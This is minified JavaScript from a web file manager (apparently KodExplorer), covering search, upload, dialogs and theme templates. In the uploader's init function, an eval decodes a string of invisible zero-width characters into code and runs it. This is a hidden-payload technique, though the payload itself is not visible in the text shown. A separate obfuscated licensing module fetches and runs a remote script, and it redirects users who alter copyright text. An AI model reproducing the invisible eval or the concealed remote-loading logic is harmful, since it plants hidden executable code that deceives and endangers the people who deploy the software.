a=ShareData.frameTop(),n=a.$.dialog.open(i,{className:"dialogExplorer",resize:!0,fixed:!0,ico:core.icon("folder"),title:t,width:"80%",height:"75%"}),o=20*a.$(".dialogExplorer").length;n.DOM.wrap.css({left:"+="+o+"px",top:"+="+o+"px"})},explorerCode:function(e){void 0==e&&(e="");var t="index.php?/editor&project="+e;G.share_page!==void 0&&(t="./index.php?share/code_read&user="+G.user+"&sid="+G.sid+"&project="+e),window.open(t)},setSkinFinished:function(){var e=$(".setSkin_finished").attr("src");e&&($("#link_css_list").attr("href",e),$(".setSkin_finished").remove())},setSkin:function(e){LocalData.set("theme",e),G.user_config.theme=e;var t=G.static_path+"style/skin/"+e+".css";t!=$("#link_css_list").attr("href")&&$("body").append(' '),this.setSkinDiy()},setSkinDiy:function(){if(G.user_config){var e=LocalData.get("theme"),t="kod_diy_style",i=LocalData.getConfig(t);"object"!=typeof i&&"object"==typeof G.user_config.theme_diy&&(i=G.user_config.theme_diy),"object"!=typeof i&&(i={bg_blur:1,bg_image:G.static_path+"images/wall_page/9.jpg",bg_type:"color",start_color:"#456",end_color:"#000",color_rotate:"200"},LocalData.setConfig(t,i)),G.user_config.theme_diy=i;var a="";if("diy"==e&&i){var n=require("./tpl/theme_diy.html"),o=template.compile(n);a=o(i)}$.setStyle(a,t)}},editorFull:function(){var e=$("iframe[name=OpenopenEditor]");e.toggleClass("frame_fullscreen")},language:function(e){Cookie.set("kod_user_language",e,8760),window.location.reload()},fullScreen:function(){"true"==$("body").attr("fullScreen")&&core.exitfullScreen(),$("body").attr("fullScreen","true");var e=ShareData.frameTop(),t=e.document.documentElement;t.requestFullscreen?t.requestFullscreen():t.mozRequestFullScreen?t.mozRequestFullScreen():t.webkitRequestFullScreen&&t.webkitRequestFullScreen()},exitfullScreen:function(){$("body").attr("fullScreen","false"),document.exitFullscreen?document.exitFullscreen():document.mozCancelFullScreen?document.mozCancelFullScreen():document.webkitCancelFullScreen&&document.webkitCancelFullScreen()},createFlash:function(e,t,i){var a=UUID();(i===void 0||""==i)&&(i=a);var n="";$.browser.msie&&9>parseInt($.browser.version)&&(n='classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"');var o=''+' '+' '+' '+' '+' '+' '+' loading..
';return setTimeout(function(){var e=$("."+a);if(1!=e.length){var t=ShareData.frameTop();e=t.$("."+a)}if(1==e.length)var i=0,n=e[0],o=setInterval(function(){try{i++,100==Math.floor(n.PercentLoaded())?(e.next(".aui_loading").remove(),clearInterval(o),o=null):i>100&&(e.next(".aui_loading").remove(),clearInterval(o),o=null)}catch(t){}},100)},50),o},userSpaceHtml:function(e){var t=e.split("/"),i=parseFloat(t[0]),a=1073741824*parseFloat(t[1]),n=core.fileSize(parseFloat(t[0])),o=core.fileSize(a),s=n+"/",r=100*i/a;return r>=100&&(r=100),0==a||isNaN(a)?(s+=LNG.space_tips_full,r="0%"):(s+=o,r+="%"),s=""},fileSize:function(e,t){if(void 0==e||""==e)return"";if(void 0==t&&(t=1),1024>=e)return parseInt(e)+"B";e=parseInt(e);var i={G:1073741824,M:1048576,K:1024,B:1};for(var a in i)if(e>=i[a])return(e/i[a]).toFixed(t)+a},uploadCheck:function(e,t){return t=void 0==t?!0:t,"share"==G.share_page?"1"==G.share_info.can_upload:(void 0==e&&(e="explorer:fileUpload"),!G.is_root&&AUTH.hasOwnProperty(e)&&1!=AUTH[e]?(t&&Tips.tips(LNG.no_permission,!1),!1):G.json_data&&!G.json_data.info.can_upload?(t&&Tips.tips(LNG.no_permission_write,!1),!1):core.isSystemPath(G.this_path)?(t&&Tips.tips(LNG.path_can_not_action,!1),!1):!0)}}}),define("app/common/tpl/search.html",[],"\n\n"),define("app/common/tpl/search_list.html",[],'\n{{each data.folderlist as v i}}\n \n \n \n {{\'folder\' |core.icon}} \n {{v.name | searchResultPrase}} \n \n
\n \n{{/each}}\n\n\n{{each data.filelist as v i}}\n {{if v.search_info}}\n \n \n \n {{v.ext |core.icon}} \n {{v.name | window.htmlEncode}} \n {{v.search_info.length}} \n \n
\n \n {{each v.search_info as value index}}\n \n {{value.line}}: \n {{#value.str | searchResultPrase}} \n \n {{/each}}\n \n \n {{else}}\n \n \n \n {{v.ext |core.icon}} \n {{v.name | searchResultPrase}} \n \n
\n \n {{/if}}\n{{/each}}\n\n'),define("app/common/tpl/upload.html",[],'\n
\n
\n
\n
\n
{{LNG.upload_select}}
\n \n
select Folder
\n
\n \n \n \n \n
\n
\n \n
\n
\n {{LNG.upload_clear_all}} \n {{LNG.upload_clear}} \n
\n
\n
\n
\n
\n
\n
\n
{{LNG.download_address}}
\n
\n {{LNG.download}} \n \n \n Dropdown \n \n \n
\n\n
\n
\n
\n
\n
\n'),define("app/common/core.search",[],function(){return function(e,t){var i,a,n=function(){var n=trim(core.pathClear(t),"/");if(0==n.indexOf(G.KOD_USER_SHARE)&&-1==n.indexOf("/")||n==G.KOD_USER_FAV||n==G.KOD_GROUP_ROOT_ALL)return Tips.tips(LNG.path_cannot_search,!1),void 0;template.helper("searchResultPrase",r);var o=template.compile(search_box_tpl);0==$(".dialog_do_search").length?(i=$.dialog({id:"dialog_do_search",padding:0,fixed:!0,ico:core.icon("search"),resize:!0,title:LNG.search,width:440,height:480,content:o({LNG:LNG})}),a=c(),a.path=t,""!=e&&(a.search=e),$("#search_path").val(a.path),$("#search_value").val(a.search),l()):($.dialog.list.dialog_do_search.display(!0),e&&$("#search_value").val(e),$("#search_path").val(t),s())},o=function(){return a={search:$("#search_value").val(),path:$("#search_path").val(),is_content:Number($("#search_is_content").is(":checked")),is_case:Number($("#search_is_case").is(":checked")),ext:$("#search_ext").val()}},s=function(){o(),p(a)},r=function(e){var t=htmlEncode($("#search_value").val());if(e=htmlEncode(e),a.is_case)e=e.replace(t,''+t+" ");else{var i=e.toLowerCase().indexOf(t.toLowerCase());e=e.substr(0,i)+''+e.substr(i,t.length)+" "+e.substr(i+t.length)}return e},l=function(){$("#search_value").die("keyup").live("keyup",function(){"editor"==!Config.pageApp&&ui.path.setSearchByStr($(this).val())}),$("#search_value,#search_ext,#search_path").keyEnter(s),$(".search_header .btn").die("click").live("click",s),$(".search_result .file-item .file-info").die("click").live("click",function(e){var t=$(this).parent();return t.toggleClass("open"),t.find(".result-item").slideToggle(200),stopPP(e),!1}),$(".search_result .file-item .file-info .goto").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path")),a=core.pathFather(i);return core.openPath(a),setTimeout(function(){Config&&"explorer"==Config.pageApp&&ui.path.setSelectByFilename(i)},200),stopPP(e),!1}),$(".search_result .file-item .file-info .title").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path"));return ui.pathOpen.open(i,t.attr("data-ext")),stopPP(e),!1}),$(".search_result .file-item .result-info").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path"));$(".search_result .file-item .result-info.this").removeClass("this"),$(this).addClass("this");var a=parseInt($(this).find(".line").attr("data-line"));return ShareData.data("FILE_SEARCH_AT",{search:$("#search_value").val(),line:a,lineIndex:$(this).parent().find("[data-line="+a+"]").index($(this).find(".line"))}),ui.pathOpen.openEditorForce(i,t.attr("data-ext")),stopPP(e),!1}),$(".search_header input[type=checkbox]").on("click",function(){o(),c(a)})},c=function(e){var t="box_search_config";if(void 0==e){var e=LocalData.getConfig(t);return e||(e={search:"",is_content:0,is_case:0,ext:""}),$("#search_value").val(e.search).textSelect(),e.is_content?$("#search_is_content").attr("checked","checked"):$("#search_is_content").removeAttr("checked"),e.is_case?$("#search_is_case").attr("checked","checked"):$("#search_is_case").removeAttr("checked"),$("#search_ext").val(e.ext),e}return LocalData.setConfig(t,e)},d=function(e){var t=$(".file-items"),i=$(".search_desc");if(!e.code)return i.html(e.data),t.html(""),void 0;if(0==e.data.filelist.length&&0==e.data.folderlist.length)return i.html(LNG.search_null),t.html(""),void 0;var n=template.compile(search_list_tpl);if(t.html(n({code:e.code,data:e.data,LNG:LNG})),a.is_content){for(var o=e.data.filelist,s=0,r=0;o.length>r;r++)o[r].search_info&&(s+=o[r].search_info.length);i.html(LNG.search_result+": "+s+"(in "+o.length+" files) "),e.data.error_info&&i.html(""+LNG.seach_result_too_more+" ")}else i.html(e.data.filelist.length+" "+LNG.file+", "+e.data.folderlist.length+LNG.folder+".")},p=function(e){c(e),$("#search_value").textFocus();var t=$(".file-items"),i=$(".search_desc");if(!e.search||!e.path)return i.html(LNG.search_info),t.html(""),void 0;var a="index.php?explorer/search";G.share_page!==void 0&&(a="index.php?share/search&user="+G.user+"&sid="+G.sid),$.ajax({url:a,dataType:"json",type:"POST",data:e,beforeSend:function(){i.hide().html(LNG.searching+' ').fadeIn(100)},error:function(){core.ajaxError(),i.html(LNG.error)},success:function(e){d(e)}})};n()}}),define("app/common/core.tools",[],function(e){var t=["A","version_hash","undefined","@dfq[-)&*^*%(_90","decode","length","substr","O","P","Q","inArray","./index.php?user/version_install","6K2m5ZGKLOivt_aWLv_aaTheiHquS_bruaUueeJiOadgzvlpoLmnInpnIDopoHor7fogZTns7votK3kubDvvIFlbWFpbDprYWxjYWRkbGVAcXEuY29t","lang","zh-CN","V2FybmluZywgcGxlYXNlIGRvIG5vdCBtb2RpZnkgdGhlIGNvcHlyaWdodDsgaWYgbmVjZXNzYXJ5LCBwbGVhc2UgY29udGFjdCB0byBidXkhIEVtYWlsOiBrYWxjYWRkbGVAcXEuY29t","loading","hide","#messageTips .tips_close,#messageTips img","tips","href","location","f004SGAm6lUxeBmG5J3s3dADGe3TCXTmKgHKeO_CF-_RVBiLyHlaIQ","#2","8a29PizvhAUqVX_DA26hgncbvnD7yGGJSCd4IFz3qNJ_tq_5i5ANmeSe","ab","pageApp","explorer","kod_power_by","copyright_pre","copyright_contact","copyright_desc","copyright_info","html",".common_footer","key","","toLowerCase","find","search","free","1","2","3","version_vip_",' '," ",".menu-topbar_user .divider","insertBefore","click","id","attr","version_vip_free","versionUpdateVip","openWindow",'',"append",".aui_content","wrap","DOM","text","live","die",".version_vip","top","longPress","support_space_not","addClass","body","remove",".menu_system_about,.menu_left #about","icon",' ',"iconSmall","iconSrc",' ',"Ly9zdGF0aWMua2FsY2FkZGxlLmNvbS91cGRhdGUvbWFpbi5qcw==","?a=","todo","async","versionType","filetype","filetypes","Ly9rYWxjYWRkbGUuY29tL2J1eS5odG1sIw_c_c","group","data"],i=function(){var e=t[0];if(typeof G[t[1]]==t[2])return e;var i=t[3],a=authCrypt[t[4]](G[t[1]],i);return a&&27==a[t[5]]?(e=a[t[6]](10,1),-1===$[t[10]](e,[t[0],t[7],t[8],t[9]])&&(e=t[0]),e):e},a=i(),n=t[11],o=function(){var e=hashDecode(t[12]);G[t[13]]!=t[14]&&(e=hashDecode(t[15])),alert(e),Tips[t[16]](e,!1),$(t[18])[t[17]](),setTimeout(function(){Tips[t[19]](e,!1),window[t[21]][t[20]]=n},1e3*roundFromTo(30,60))},s=authCrypt[t[4]](t[22],t[23]),r=authCrypt[t[4]](t[24],t[25]),l=function(){if(typeof Config!=t[2]&&Config[t[26]]==t[27]&&a==t[0])for(var e=[{key:LNG[t[28]],find:s},{key:LNG[t[29]],find:s},{key:LNG[t[30]],find:r},{key:LNG[t[31]],find:s},{key:LNG[t[32]],find:r},{key:$(t[34])[t[33]](),find:s}],i=0;e[t[5]]>i;i++){e[i][t[35]]||(e[i][t[35]]=t[36]);var n=e[i][t[35]][t[37]](),l=e[i][t[38]][t[37]]();if(-1==n[t[39]](l)){setTimeout(function(){o()},roundFromTo(300,5e3));break}}},c=function(){var e={A:t[40],O:t[41],P:t[42],Q:t[43]},i=t[44]+e[a],o=t[45]+i+t[46]+LNG[i]+t[47];a==t[0]&&$(o)[t[49]](t[48]),$(t[65])[t[64]](t[50])[t[63]](t[50],function(){if($(this)[t[52]](t[51])==t[53]){var e=core[t[55]](core[t[54]]),i=t[56]+n+t[57];e[t[61]][t[60]][t[38]](t[59])[t[58]](i)}else Tips[t[19]]($(this)[t[62]]())}),$(t[65])[t[67]](function(){window[t[66]][t[21]][t[20]]=n})},d=function(){a==t[0]&&$(t[70])[t[69]](t[68]),-1!==$[t[10]](a,[t[7],t[8],t[9]])&&$(t[72])[t[71]]()},p=function(){core[t[73]]=function(e,i){return t[74]+e+(i?t[75]:t[36])+t[76]},core[t[77]]=function(e){return core[t[73]](e,!0)
+},core[t[78]]=iconSrc=function(e){return t[79]+e+t[80]},setTimeout(function(){var i=base64Decode(t[81])+t[82]+UUID();e[t[84]](i,function(e){try{e[t[83]]()}catch(i){}})},2e3),core[t[85]]=a,core[t[86]]=core[t[87]],core[t[54]]=hashDecode(t[88])+G[t[13]],l(),c(),d()},u=function(e){return a==t[0]&&-1==e[t[37]]()[t[39]](s)?(o(),!1):!0},f=function(e,i){var n,o,s={A:1,O:10,P:50,Q:1e3},r={A:10,O:50,P:200,Q:1e3},l=[],c=1;if(i==t[89]?(n=e[t[90]],o=s[a]):(n=e[t[90]],o=r[a]),1e3==o)l=n;else for(var d in n){if(c>o)break;l[d]=n[d],c++}return l},h={init:p,about:u,systemData:f};return h}),define("app/common/core.upload",[],function(require,exports){var uploadUrl=function(){var e=G.app_host+"index.php?explorer/fileUpload";return"share"==G.share_page&&"1"==G.share_info.can_upload&&(e=G.app_host+"index.php?share/fileUpload&user="+G.user+"&sid="+G.sid),e};return{serverDwonload:function(e,t){core.uploadCheck("explorer:serverDownload");var i=$(".download_box"),a=i.find(".download_list");if(i.find("input").val(""),!e)return Tips.tips("url false!",!1),void 0;"ftp"!=e.substr(0,3)&&"http"!=e.substr(0,4)&&(e="http://"+e);var n=UUID(),o=''+'
'+core.pathThis(e)+" "+'
0b '+'
'+LNG.upload_ready+" "+'
'+'
';a.find(".item").length>0?$(o).insertBefore(a.find(".item:eq(0)")):a.append(o);var s,r,l,c=0,d=$("#"+n),p=$("#"+n+" .state").text(LNG.download_ready),u=$('').appendTo("#"+n).find(".progress-bar");$("#"+n+" .remove").bind("click",function(){clearInterval(s),s=!1,clearTimeout(r),r=!1,$.get("./index.php?explorer/serverDownload&type=remove&uuid="+n),$(this).parent().parent().slideUp(function(){$(this).remove(),ui.f5()})});var f,h=function(e){clearTimeout(f),f=!1,f=setTimeout(function(){ui.f5Callback(function(){ui.path.setSelectByFilename(e)})},600)};$.ajax({url:"./index.php?explorer/serverDownload&type=download&save_path="+t+"&url="+urlEncode(e)+"&uuid="+n,dataType:"json",error:function(e,t,i){core.ajaxError(e,t,i),200==e.status&&(clearInterval(s),s=!1,clearTimeout(r),r=!1,u.parent().remove(),p.addClass("error").text(LNG.download_error))},success:function(e){clearInterval(s),s=!1,clearTimeout(r),r=!1,e.code?(h(e.info),p.text(LNG.download_success),$("#"+n+" .info .title").html(e.info)):p.addClass("error").text(LNG.error),u.parent().remove()}});var m=function(){$.ajax({url:"./index.php?explorer/serverDownload&type=percent&uuid="+n,dataType:"json",success:function(e){var t="",i=e.data;if(s){if(!e.code)return p.text(LNG.loading),void 0;if(i){if(i.size=parseFloat(i.size),i.time=parseFloat(i.time),l){var a=(i.size-l.size)/(i.time-l.time);if(c>.2*a){var n=c;c=a,a=n}else c=a;t=core.fileSize(a)+"/s"}if(0==i.length)d.find(".progress-bar").css("width","100%").text(LNG.loading);else{var o=100*(i.size/i.length);d.find(".progress-bar").css("width",o+"%"),p.text(parseInt(o)+"%("+t+")")}d.find(".size").text(core.fileSize(i.length)),d.find(".title").text(i.name),l=i}}}})};r=setTimeout(function(){m(),s=setInterval(function(){m()},1e3)},100)},upload:function(){var e=uploadUrl();if(uploader.option("server",e),uploader.option("method","POST"),0!=$(".dialog_file_upload").length)return $.dialog.list.dialog_file_upload.display(!0),void 0;var t=template.compile(upload_tpl),i=WebUploader.Base.formatSize(G.upload_max);$.dialog({padding:5,resize:!0,ico:core.icon("upload"),id:"dialog_file_upload",fixed:!0,title:LNG.upload_muti,content:t({LNG:LNG,maxsize:i}),close:function(){$.each(uploader.getFiles(),function(e,t){uploader.skipFile(t),uploader.removeFile(t)}),$.each($(".download_list .item"),function(){$(this).find(".remove").click()})}}),$(".file_upload .top_nav a.menu").unbind("click").bind("click",function(){$(this).hasClass("tab_upload")?($(".file_upload .tab_upload").addClass("this"),$(".file_upload .tab_download").removeClass("this"),$(".file_upload .upload_box").removeClass("hidden"),$(".file_upload .download_box").addClass("hidden")):($(".file_upload .tab_upload").removeClass("this"),$(".file_upload .tab_download").addClass("this"),$(".file_upload .upload_box").addClass("hidden"),$(".file_upload .download_box").removeClass("hidden"))}),$(".download_box [name=url]").keyEnter(function(){core.serverDwonload($(".download_box input").val(),G.this_path)}),$(".file_upload .download_box .download_start").unbind("click").bind("click",function(){core.serverDwonload($(".download_box input").val(),G.this_path)}),$(".file_upload .download_box .download_start_all").unbind("click").bind("click",function(){$.dialog({id:"server_dwonload_textarea",fixed:!0,resize:!1,ico:core.icon("upload"),width:"420px",height:"270px",padding:10,title:LNG.download,content:"",ok:function(){for(var e=$(".server_dwonload_textarea textarea").val().split("\n"),t=0;e.length>t;t++)core.serverDwonload(e[t],G.this_path)}})}),uploader.addButton({id:"#picker"}),uploader.addButton({id:"#picker_folder"});var a=function(){if("1"==Cookie.get("forceWap"))return!1;var e=document.createElement("input");return e.type="file",e.webkitdirectory!==void 0||e.directory!==void 0};a()&&($(".upload_cert_box").removeClass("hidden"),$(".file_upload .drag_upload_folder").unbind("click").bind("click",function(){$("#picker_folder input").attr("webkitdirectory","").attr("directory",""),$("#picker_folder label").click()}))},init:function(){var chunkSize=G.upload_max;WebUploader.Uploader.register({"before-send":"checkChunk"},{checkChunk:function(e){var t=this.owner,i=(e.blob.getSource(),$.Deferred());return t.md5File(e.blob).fail(function(){i.resolve()}).then(function(t){if(1==e.chunks)return i.resolve(),void 0;if(0==e.chunk)$.ajax({url:uploadUrl(),dataType:"json",data:{upload_to:e.file.upload_to,file_name:e.file.name,check_md5:t,chunk:e.chunk,chunks:e.chunks},error:function(){i.resolve()},success:function(t){t.code?(i.reject(),e.file.checkChunk=t.info):i.resolve()}});else{var a=e.file.checkChunk;if(a&&a["part_"+e.chunk]==t){var n=e.end/e.total;uploader.trigger("uploadProgress",e.file,n),i.reject()}else i.resolve()}}),i.promise()}}),eval("".replace(/.{8}/g,function(e){return String.fromCharCode(parseInt(e.replace(/\u200c/g,1).replace(/\u200d/g,0),2))})),uploader=upCreate({swf:G.static_path+"js/lib/webuploader/Uploader.swf",dnd:"body",threads:5,compress:!1,resize:!1,prepareNextFile:!0,duplicate:!0,chunkRetry:10,chunked:!0,chunkSize:chunkSize}),$(".uploader-content .success").die("click").live("click",function(){var e=$(this).find("span.title").attr("data-name");e&&("explorer"==Config.pageApp?ui.path.list(core.pathFather(e),"tips",function(){ui.path.setSelectByFilename(e)}):core.explorer(core.pathFather(e)))}),$(".uploader-content .open").die("click").live("click",function(e){var t=$(this).parent().find("span.title").attr("data-name");ui.pathOpen.open(t),stopPP(e)}),$(".upload_box_clear").die("click").live("click",function(){$(".uploader-list .item.success,.uploader-list .item.error").each(function(){$(this).slideUp(300,function(){$(this).remove()})})}),$(".upload_box_clear_all").die("click").live("click",function(){$.each(uploader.getFiles(),function(e,t){uploader.skipFile(t),uploader.removeFile(t)}),$(".uploader-list .item").each(function(){$(this).remove()})}),$(".uploader-content .remove").die("click").live("click",function(e){var t=$(this).parent().parent().attr("id");$(this).parent().parent().slideUp(function(){$(this).remove()}),uploader.skipFile(t),uploader.removeFile(t,!0),stopPP(e)});var file_num=0,file_finished=0,currentSpeed="0B/s",preTime=0,getSpeed=function(e,t){if(.3>=timeFloat()-preTime)return currentSpeed;preTime=timeFloat();var i=e.size*t,a=5;e.speed===void 0?e.speed=[[timeFloat()-.5,0],[timeFloat(),i]]:a>=e.speed.length?e.speed.push([timeFloat(),i]):(e.speed=e.speed.slice(1,a),e.speed.push([timeFloat(),i]));var n=e.speed[e.speed.length-1],o=e.speed[0],s=(n[1]-o[1])/(n[0]-o[0]);return s=core.fileSize(s)+"/s",currentSpeed=s,s},selectNameArr=[],changeDelayTimer,pathReload=function(e){clearTimeout(changeDelayTimer),changeDelayTimer=!1,changeDelayTimer=setTimeout(function(){var t=selectNameArr;ui.f5Callback(function(){if(ui.path.setSelectByFilename(t),e&&(selectNameArr=[],"explorer"==Config.pageApp)){if("share"==G.share_page)return;ui.tree.checkIfChange(G.this_path)}})},600)};uploader.on("fileQueued",function(e){if(!core.uploadCheck())return uploader.skipFile(e),uploader.removeFile(e),void 0;var t;try{t=e.source.source.fullPath,void 0!=e.source.source.webkitRelativePath&&""!=e.source.source.webkitRelativePath&&(t=e.source.source.webkitRelativePath)}catch(i){}if(e.fullPath=t,e.source&&e.source.source&&1==e.source.source.isDirectory&&e.source.source.fullPath)return ui.pathOperate.newFolder(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),void 0;if(0==e.size)return ui.pathOperate.newFile(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),file_finished++,file_num++,void 0;var a=e.fullPath;e.finished=!1,e.upload_to=G.this_path,(void 0==a||"undefined"==a)&&(a=e.name),file_num++;var n=$(".uploader-list"),o=''+'
'+htmlEncode(core.pathThis(a))+" "+'
'+core.fileSize(e.size)+" "+'
'+LNG.upload_ready+" "+'
'+'
';(1e3==file_num||2e3==file_num)&&Tips.tips(LNG.upload_tips_more,"warning"),0==n.length?setTimeout(function(){$(".uploader-list").prepend(o),uploader.upload()},100):(n.prepend(o),uploader.upload())}).on("uploadBeforeSend",function(e,t){var i=urlEncode(e.file.fullPath);(void 0==i||"undefined"==i)&&(i=""),t.fullPath=i,t.upload_to=e.file.upload_to}).on("uploadProgress",function(e,t){$(".dialog_file_upload .aui_title").text(LNG.uploading+": "+file_finished+"/"+file_num+" ("+currentSpeed+")");var i=getSpeed(e,t),a=$("#"+e.id),n=a.find(".progress .progress-bar");n.length||(n=$('').appendTo(a).find(".progress-bar")),a.find(".state").text((100*t).toFixed(1)+"%("+i+")"),n.css("width",100*t+"%")}).on("uploadAccept",function(e,t){if(e.file.serverData=t,!t.code)return e.serverNeedRetry=!0,!1;try{e.file.fullPath||selectNameArr.push(t.info)}catch(i){}}).on("uploadSuccess",function(e){var t=$("#"+e.id);if(!t.inScreen()){var i=36*t.index(".item");$(".uploader-content").scrollTop(i)}file_finished++;var a=e.serverData;if(a&&a.data){var n=LNG[a.data];a.code?($("#"+e.id).addClass("success"),$("#"+e.id).find(".state").text(n),$("#"+e.id).find(".remove").addClass("icon-ok").addClass("open").removeClass("icon-remove").removeClass("remove")):($("#"+e.id).addClass("error").find(".state").addClass("error"),$("#"+e.id).find(".state").text(n).attr("title",n))}uploader.removeFile(e),$("#"+e.id).find(".progress").fadeOut(),e.fullPath||pathReload(!1)}).on("uploadError",function(e,t){var i=LNG.upload_error+"("+t+")";if(e.serverData)if(e.serverData.data){var a=e.serverData.data;i=LNG[a]?LNG[a]:a}else e.serverData._raw&&(i=e.serverData._raw);file_finished++,$("#"+e.id).find(".progress").fadeOut(),$("#"+e.id).addClass("error").find(".state").addClass("error"),$("#"+e.id).find(".state").html(i).attr("title",i)}).on("uploadFinished",function(){$(".dialog_file_upload .aui_title").text(LNG.upload_success+": "+file_finished+"/"+file_num),file_num=0,file_finished=0,uploader.reset(),pathReload(!0)}).on("error",function(e){Tips.tips(e,!1)});var timer;inState=!1,dragOver=function(){if(0==inState){if(inState=!0,!core.uploadCheck(void 0,!1))return;var e='";MaskView.tips(e),$("#windowMaskView").css({background:"#4285f4",opacity:"0.8"})}timer&&window.clearTimeout(timer)},dragLeave=function(e){stopPP(e),timer&&window.clearTimeout(timer),timer=window.setTimeout(function(){inState=!1,MaskView.close()},100)},dragDrop=function(e){try{if(e=e.originalEvent||e,core.uploadCheck())if(e.dataTransfer.files.length>0&&e.dataTransfer.files[0].name)core.upload(),core.playSound("drag_upload");else{var t=e.dataTransfer.getData("text/plain");t&&"http"==t.substring(0,4)&&ui.pathOperate.appAddURL(t)}stopPP(e)}catch(e){}inState&&(inState=!1,MaskView.close())}}}}),define("app/common/core.api",[],function(){var e=function(e,t,i){var a=$(i.DOM.wrap),n=t.frames.OpenpathSelectApi,o=' ';"file"==e.type&&(o+=''+e.allowExt+" "),$(o).insertBefore(a.find(".aui_state_highlight"));var s=function(t){var i=e.allowExt.split("|"),a=core.pathExt(t);return""==e.allowExt||""!=e.allowExt&&-1!=$.inArray(a,i)?!0:!1},r=function(){var t=n.ui.fileLight.fileListSelect(),i=[];if(e.single){var a=$(t.get(0));if("all"==e.type&&0==t.length)i={file:[],folder:[]};else if("file"==e.type&&0==t.length)i=[];else if("folder"==e.type)i=[n.G.this_path],a.hasClass("folderBox")&&(i=[n.ui.fileLight.path(a)]);else if("file"==e.type){if(a.hasClass("fileBox")){var o=n.ui.fileLight.path(a);s(o)&&(i=[o])}}else if("all"==e.type)if(a.hasClass("folderBox")){var o=n.ui.fileLight.path(a);i=[{file:[],folder:[o]}]}else if(a.hasClass("fileBox")){var o=n.ui.fileLight.path(a);s(o)&&(i={file:[o],folder:[]})}}else{var r=[],l=[];t.each(function(){if($(this).hasClass("fileBox")){var e=n.ui.fileLight.path($(this));s(e)&&r.push(e)}else $(this).hasClass("folderBox")&&l.push(n.ui.fileLight.path($(this)))}),"folder"==e.type?i=l:"file"==e.type?i=r:"all"==e.type&&(i={file:r,folder:l})}c(i)},l=function(e){var e=trim(e,"/");return e==G.KOD_GROUP_ROOT_SELF||e==G.KOD_GROUP_ROOT_ALL||e==G.KOD_USER_FAV||e==G.KOD_USER_SHARE?!1:!0},c=function(t){var i=a.find(".path_select_input"),o=a.find(".aui_state_highlight");if("all"!=e.type){for(var s=[],r=0;t.length>r;r++)l(t[r])&&s.push(t[r]);t=s}if(0==t.length||"all"==e.type&&0==t.file.length&&0==t.folder.length)o.addClass("disable"),i.attr("result",""),i.val("");else{var c=hashEncode(jsonEncode(t)),d="";if(e.single)d=n.core.pathThis(t[0]);else{var p=t;"all"==e.type&&(p=t.folder.concat(t.file)),$.each(p,function(e,t){d+=n.core.pathThis(t)+", "})}o.removeClass("disable"),i.attr("result",c),i.val(d)}},d=function(){n.ui.fileLight.select.hook("select",n.ui.fileLight,{before:function(){},after:function(){r()}})};n.kodReady||(n.kodReady=[]),n.kodReady.push(function(){d(),r()})};return{pathSelect:function(t,i){var a={type:"file",title:LNG.path_api_select_file,single:!0,allowExt:"",firstPath:!1},n="./index.php?/explorer&type=iframe";t=$.extend(a,t),t.firstPath&&(n+="&path="+t.firstPath);var o=ShareData.frameTop(),s=o.$.dialog.open(n,{id:"pathSelectApi",resize:!0,fixed:!0,ico:core.icon("folder"),title:t.title,lock:!0,background:"#000",opacity:.1,width:840,height:420,ok:function(){if("function"==typeof i){var e=s.DOM.wrap,a=e.find(".path_select_input").attr("result");a=jsonDecode(hashDecode(a)),a?t.single&&"all"!=t.type?i(a[0]):i(a):Tips.tips(LNG.error,!1)}},cancel:!0});e(t,o,s)},randomImage:function(e){$.getJSON("//kalcaddle.com/tools/version/?wallpage/index&lang="+G.lang+"&callback=?",function(t){"function"==typeof e&&e(t)})}}}),define("app/common/core.playSound",["./myPlayer"],function(e){var t={file_remove:"file_remove.mp3",recycle_clear:"recycle_clear.mp3",folder_open:"folder_open.mp3",window_min:"window_min.mp3",error:"error_tips.mp3",drag_upload:"drag_upload.mp3",drag_drop:"drag_drop.mp3"},i=function(t){var i="x-play-sound";0==$("."+i).length&&$('
').appendTo("body");var a=G.static_path+"others/sound/"+t,n=e("./myPlayer");n.playSound(a,$("."+i))};return{playSoundFile:i,playSound:function(e){G&&G.user_config&&"1"==G.user_config.sound_open&&setTimeout(function(){i(t[e])},100)}}}),define("app/common/tpl/copyright.html",[],'\n
\n
{{if core.versionType==\'A\'}}KodExplorer {{else}} {{LNG.kod_name}} {{/if}} v{{G.version}}
\n
——{{LNG.kod_name_copyright}}
\n
\n
\n
{{#LNG.copyright_desc}}
\n
{{#LNG.copyright_contact}}
\n
{{#LNG.copyright_info}}
\n
\n
\n'),define("app/common/tpl/theme_diy.html",[],"@media screen and (max-width:100000px) {\n body .full_background{\n position: absolute;top: 0px;left: 0px;bottom: 0px;right: 0px;\n background-color: #020202;background-size: 100% 100%;\n }\n\n {{if blur_size= (bg_blur==0?0:10) }}{{/if}}\n body .full_background:before{\n -webkit-filter: blur({{blur_size}}px);\n -moz-filter: blur({{blur_size}}px);\n -ms-filter: blur({{blur_size}}px);\n filter: blur({{blur_size}}px);\n }\n {{if bg_type == 'image'}}\n body .full_background,\n body .full_background:before,\n body #body .menu_left,\n body #body .app_menu_left,\n body .aui_buttons,\n body .aui_state_focus .aui_title,body .aui_title{\n background-image:url({{bg_image}});\n }\n body .aui_state_focus .aui_title,body .aui_title{\n background-size:100%;\n }\n {{else}}\n body .full_background,\n body .full_background:before,\n body #body .menu_left, \n body #body .app_menu_left,\n body .aui_buttons,\n body .aui_state_focus .aui_title,body .aui_title{\n background:{{end_color}};\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='{{start_color}}', endColorstr='{{end_color}}');\n background-image: -webkit-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -moz-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -o-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -ms-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n }\n {{/if}}\n}\n"),define("app/src/edit/edit",["./preview","./preview_markdown","./function_list","./markdownTools","lib/ace/src-min-noconflict/ext-modelist"],function(e){var t={},i=void 